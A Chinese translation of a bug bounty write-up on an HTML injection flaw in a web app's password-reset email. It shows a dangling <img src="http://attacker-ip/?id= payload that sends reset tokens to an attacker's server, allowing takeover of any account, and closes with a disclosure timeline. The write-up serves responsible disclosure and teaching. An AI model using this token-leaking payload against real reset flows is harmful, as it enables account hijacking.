在这篇文章中,我将讲述我在某个网络应用中所找到的逻辑漏洞,它存在于“找回密码”这个功能中,可以让我接管任意用户的帐号。虽然最后进行攻击的方式是通过钓鱼手段,但这个漏洞依然有足够的威胁。以下我将目标称为“app”。
当我在测试这个应用的“忘记密码”功能时,使用burpsuite抓到了这样一个特殊的HTTP数据包:
在这个请求的多个参数中,你应该会立马注意到一个特殊的参数emailBody
,貌似其中掺杂了很多html代码,这可能涉及到找回密码的某个web模板。让我们先测试一下,看是否可以往其中注入html代码。
我先简单的插入了一个<a>
标签,回应如下(即重置密码的邮件):
很好,我们在重置密码的链接前插入了一个click
,看样子这是一个标准的HTML注入,后端服务器并没有对用户的数据进行安全过滤就直接利用。那么,它在实际情况下能达到什么攻击效果呢?我很快想到也许可以试试对其他用户进行钓鱼攻击,毕竟这个邮件的发送者可是应用官方。
实现这个钓鱼攻击,只需插入一个简单的url即可(插入位置在[RESET-LINK]
之前):
<img src=\"http://attacker-ip/?id=
一旦受害者打开这封“找回密码”的电子邮件,<img>
标签就会向我的服务器发出请求,而重置密码令牌也会被带到我的服务器上,具体如下图所示:
攻击者可以轻松使用得到的令牌重置密码,接管任意帐户。
时间线
- 2019年1月8日 – 报告漏洞
- 2019年1月10日 – 检验中
- 2019年1月10日 – 支付赏金
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/2503.html
来源:https://medium.com/@mrnikhilsri/unauthenticated-account-takeover-through-http-leak-33386bb0ba0b